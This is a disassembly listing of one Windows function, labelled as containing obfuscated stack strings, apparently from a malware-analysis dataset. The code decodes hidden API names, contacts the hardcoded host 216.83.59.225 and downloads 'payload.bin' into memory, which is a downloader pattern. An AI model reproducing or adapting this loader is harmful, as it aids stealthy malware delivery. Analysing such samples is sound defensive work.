Function at 0x140001320
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x140001320
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x690
mov rdi, rsp
mov ecx, 0x1a4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6a0]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x680], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x68], 0
call fcn.14000100f
test eax, eax
je 0x14000139b
xor eax, eax
jmp 0x140001cee
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov qword [rsp + 0x70], rax
mov r8d, 0x1000
mov edx, 8
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x88], 0x63
mov byte [rsp + 0x89], 5
mov byte [rsp + 0x8a], 0x2a
mov byte [rsp + 0x8b], 3
mov byte [rsp + 0x8c], 7
mov byte [rsp + 0x8d], 0x23
mov byte [rsp + 0x8e], 0x44
mov byte [rsp + 0x8f], 0x23
mov byte [rsp + 0x90], 0x34
mov byte [rsp + 0x91], 0x2e
mov byte [rsp + 0x92], 0x1d
mov byte [rsp + 0x93], 0
mov byte [rsp + 0xb4], 0x34
mov byte [rsp + 0xb5], 0x6c
mov byte [rsp + 0xb6], 0x44
mov byte [rsp + 0xb7], 0x4b
mov byte [rsp + 0xb8], 0x73
mov byte [rsp + 0xb9], 0x57
mov byte [rsp + 0xba], 0
lea r8, [rsp + 0xb4]
mov edx, 0xc
lea rcx, [rsp + 0x88]
call fcn.140001019
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140015ad0]
call rax
mov qword [rsp + 0x40], rax
mov byte [rsp + 0xd8], 3
mov byte [rsp + 0xd9], 0x1c
mov byte [rsp + 0xda], 0
mov byte [rsp + 0xdb], 0x3c
mov byte [rsp + 0xdc], 0x16
mov byte [rsp + 0xdd], 0x35
mov byte [rsp + 0xde], 0x24
mov byte [rsp + 0xdf], 0x36
mov byte [rsp + 0xe0], 1
mov byte [rsp + 0xe1], 0x1a
mov byte [rsp + 0xe2], 0xc
mov byte [rsp + 0xe3], 0x24
mov byte [rsp + 0xe4], 0x37
mov byte [rsp + 0xe5], 1
mov byte [rsp + 0xe6], 0
mov byte [rsp + 0x104], 0x54
mov byte [rsp + 0x105], 0x75
mov byte [rsp + 0x106], 0x6e
mov byte [rsp + 0x107], 0x74
mov byte [rsp + 0x108], 0x62
mov byte [rsp + 0x109], 0x41
mov byte [rsp + 0x10a], 0
lea r8, [rsp + 0x104]
mov edx, 0xf
lea rcx, [rsp + 0xd8]
call fcn.140001019
xor r9d, r9d
mov r8w, 0x118
lea rdx, str.216.83.59.225
mov rcx, qword [rsp + 0x40]
call rax
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x128], 0x11
mov byte [rsp + 0x129], 0x22
mov byte [rsp + 0x12a], 0x1d
mov byte [rsp + 0x12b], 0x2a
mov byte [rsp + 0x12c], 0x35
mov byte [rsp + 0x12d], 0x2c
mov byte [rsp + 0x12e], 0x36
mov byte [rsp + 0x12f], 4
mov byte [rsp + 0x130], 3
mov byte [rsp + 0x131], 7
mov byte [rsp + 0x132], 0x2f
mov byte [rsp + 0x133], 0xa
mov byte [rsp + 0x134], 0x23
mov byte [rsp + 0x135], 0x3a
mov byte [rsp + 0x136], 6
mov byte [rsp + 0x137], 7
mov byte [rsp + 0x138], 0x32
mov byte [rsp + 0x139], 0x2c
mov byte [rsp + 0x13a], 0
mov byte [rsp + 0x154], 0x46
mov byte [rsp + 0x155], 0x4b
mov byte [rsp + 0x156], 0x73
mov byte [rsp + 0x157], 0x62
mov byte [rsp + 0x158], 0x41
mov byte [rsp + 0x159], 0x58
mov byte [rsp + 0x15a], 0
lea r8, [rsp + 0x154]
mov edx, 0x13
lea rcx, [rsp + 0x128]
call fcn.140001019
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x140015b10]
mov rcx, qword [rsp + 0x48]
call rax
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x178], 4
mov byte [rsp + 0x179], 0x19
mov byte [rsp + 0x17a], 0x26
mov byte [rsp + 0x17b], 0x25
mov byte [rsp + 0x17c], 0x37
mov byte [rsp + 0x17d], 0x42
mov byte [rsp + 0x17e], 0x23
mov byte [rsp + 0x17f], 0x23
mov byte [rsp + 0x180], 0x2d
mov byte [rsp + 0x181], 3
mov byte [rsp + 0x182], 0x27
mov byte [rsp + 0x183], 0x64
mov byte [rsp + 0x184], 0x36
mov byte [rsp + 0x185], 1
mov byte [rsp + 0x186], 0x3d
mov byte [rsp + 0x187], 8
mov byte [rsp + 0x188], 0x30
mov byte [rsp + 0x189], 0x42
mov byte [rsp + 0x18a], 0
mov byte [rsp + 0x1a4], 0x53
mov byte [rsp + 0x1a5], 0x70
mov byte [rsp + 0x1a6], 0x48
mov byte [rsp + 0x1a7], 0x6d
mov byte [rsp + 0x1a8], 0x43
mov byte [rsp + 0x1a9], 0x36
mov byte [rsp + 0x1aa], 0
lea r8, [rsp + 0x1a4]
mov edx, 0x13
lea rcx, [rsp + 0x178]
call fcn.140001019
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call rax
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x1c8], 0x1b
mov byte [rsp + 0x1c9], 0xa
mov byte [rsp + 0x1ca], 0x1b
mov byte [rsp + 0x1cb], 0xa
mov byte [rsp + 0x1cc], 4
mov byte [rsp + 0x1cd], 0x23
mov byte [rsp + 0x1ce], 0x3c
mov byte [rsp + 0x1cf], 0x31
mov byte [rsp + 0x1d0], 0x10
mov byte [rsp + 0x1d1], 0x21
mov byte [rsp + 0x1d2], 0x15
mov byte [rsp + 0x1d3], 0x3e
mov byte [rsp + 0x1d4], 0x3a
mov byte [rsp + 0x1d5], 6
mov byte [rsp + 0x1d6], 0x27
mov byte [rsp + 0x1d7], 0x27
mov byte [rsp + 0x1d8], 3
mov byte [rsp + 0x1d9], 0x27
mov byte [rsp + 0x1da], 0x23
mov byte [rsp + 0x1db], 0xd
mov byte [rsp + 0x1dc], 6
mov byte [rsp + 0x1dd], 0x27
mov byte [rsp + 0x1de], 0
mov byte [rsp + 0x1f4], 0x4c
mov byte [rsp + 0x1f5], 0x63
mov byte [rsp + 0x1f6], 0x75
mov byte [rsp + 0x1f7], 0x42
mov byte [rsp + 0x1f8], 0x70
mov byte [rsp + 0x1f9], 0x57
mov byte [rsp + 0x1fa], 0
lea r8, [rsp + 0x1f4]
mov edx, 0x17
lea rcx, [rsp + 0x1c8]
call fcn.140001019
xor edx, edx
mov rcx, qword [rsp + 0x50]
call rax
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x218], 0x32
mov byte [rsp + 0x219], 6
mov byte [rsp + 0x21a], 0x5b
mov byte [rsp + 0x21b], 0x1c
mov byte [rsp + 0x21c], 0x27
mov byte [rsp + 0x21d], 0x10
mov byte [rsp + 0x21e], 0x15
mov byte [rsp + 0x21f], 0x3e
mov byte [rsp + 0x220], 0x40
mov byte [rsp + 0x221], 0x31
mov byte [rsp + 0x222], 0x21
mov byte [rsp + 0x223], 0x1d
mov byte [rsp + 0x224], 0x21
mov byte [rsp + 0x225], 0xe
mov byte [rsp + 0x226], 0x41
mov byte [rsp + 0x227], 0x35
mov byte [rsp + 0x228], 0x12
mov byte [rsp + 0x229], 0x12
mov byte [rsp + 0x22a], 4
mov byte [rsp + 0x22b], 6
mov byte [rsp + 0x22c], 0x59
mov byte [rsp + 0x22d], 0x35
mov byte [rsp + 0x22e], 0x31
mov byte [rsp + 0x22f], 8
mov byte [rsp + 0x230], 0
mov byte [rsp + 0x231], 0
mov byte [rsp + 0x254], 0x65
mov byte [rsp + 0x255], 0x6f
mov byte [rsp + 0x256], 0x35
mov byte [rsp + 0x257], 0x54
mov byte [rsp + 0x258], 0x53
mov byte [rsp + 0x259], 0x64
mov byte [rsp + 0x25a], 0
mov byte [rsp + 0x278], 0x6f
mov byte [rsp + 0x279], 0x2f
mov byte [rsp + 0x27a], 0xc
mov byte [rsp + 0x27b], 0x3a
mov byte [rsp + 0x27c], 0xc
mov byte [rsp + 0x27d], 0x1a
mov byte [rsp + 0x27e], 0x48
mov byte [rsp + 0x27f], 0x14
mov byte [rsp + 0x280], 7
mov byte [rsp + 0x281], 0x13
mov byte [rsp + 0x282], 0x1c
mov byte [rsp + 0x283], 0x2a
mov byte [rsp + 0x284], 0x59
mov byte [rsp + 0x285], 0x32
mov byte [rsp + 0x286], 3
mov byte [rsp + 0x287], 0
mov byte [rsp + 0x2a4], 0x38
mov byte [rsp + 0x2a5], 0x46
mov byte [rsp + 0x2a6], 0x62
mov byte [rsp + 0x2a7], 0x72
mov byte [rsp + 0x2a8], 0x78
mov byte [rsp + 0x2a9], 0x6e
mov byte [rsp + 0x2aa], 0
mov byte [rsp + 0x2c8], 0x2d
mov byte [rsp + 0x2c9], 0x33
mov byte [rsp + 0x2ca], 0xd
mov byte [rsp + 0x2cb], 0x7d
mov byte [rsp + 0x2cc], 0x24
mov byte [rsp + 0x2cd], 0x1d
mov byte [rsp + 0x2ce], 0xa
mov byte [rsp + 0x2cf], 0x19
mov byte [rsp + 0x2d0], 0xf
mov byte [rsp + 0x2d1], 0x5a
mov byte [rsp + 0x2d2], 0x23
mov byte [rsp + 0x2d3], 0xc
mov byte [rsp + 0x2d4], 0x32
mov byte [rsp + 0x2d5], 0x3b
mov byte [rsp + 0x2d6], 0xd
mov byte [rsp + 0x2d7], 0x51
mov byte [rsp + 0x2d8], 0x3c
mov byte [rsp + 0x2d9], 0xc
mov byte [rsp + 0x2da], 0
mov byte [rsp + 0x2f4], 0x7a
mov byte [rsp + 0x2f5], 0x5a
mov byte [rsp + 0x2f6], 0x63
mov byte [rsp + 0x2f7], 0x35
mov byte [rsp + 0x2f8], 0x50
mov byte [rsp + 0x2f9], 0x69
mov byte [rsp + 0x2fa], 0
mov qword [rsp + 0x308], 0
mov qword [rsp + 0x310], 0
mov qword [rsp + 0x318], 0
xor eax, eax
cmp eax, 1
je 0x140001c91
mov dword [rsp + 0x324], 0
cmp qword [rsp + 0x308], 0
jne 0x140001bc5
lea r8, [rsp + 0x254]
mov edx, 0x1a
lea rcx, [rsp + 0x218]
call fcn.140001019
mov qword [rsp + 0x308], rax
lea rdx, [rsp + 0x324]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x308]
cmp dword [rsp + 0x324], 0
jne 0x140001be8
jmp 0x140001c91
mov byte [rsp + 0x350], 0
lea rax, [rsp + 0x351]
mov rdi, rax
xor eax, eax
mov ecx, 0x31f
rep stosb byte [rdi], al
cmp qword [rsp + 0x310], 0
jne 0x140001c31
lea r8, [rsp + 0x2a4]
mov edx, 0x10
lea rcx, [rsp + 0x278]
call fcn.140001019
mov qword [rsp + 0x310], rax
lea r9, [rsp + 0x324]
mov r8d, 0x320
lea rdx, [rsp + 0x350]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x310]
mov eax, dword [rsp + 0x324]
mov ecx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
lea rdx, [rsp + 0x350]
call fcn.140002660
mov eax, dword [rsp + 0x324]
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
jmp 0x140001b82
cmp qword [rsp + 0x318], 0
jne 0x140001cbe
lea r8, [rsp + 0x2f4]
mov edx, 0x13
lea rcx, [rsp + 0x2c8]
call fcn.140001019
mov qword [rsp + 0x318], rax
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x318]
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0x318]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x318]
mov rcx, qword [rsp + 0x60]
call fcn.140002630
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400161f0]
call fcn.140002250
mov rax, rdi
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140002230
add rsp, 0x690
pop rdi
ret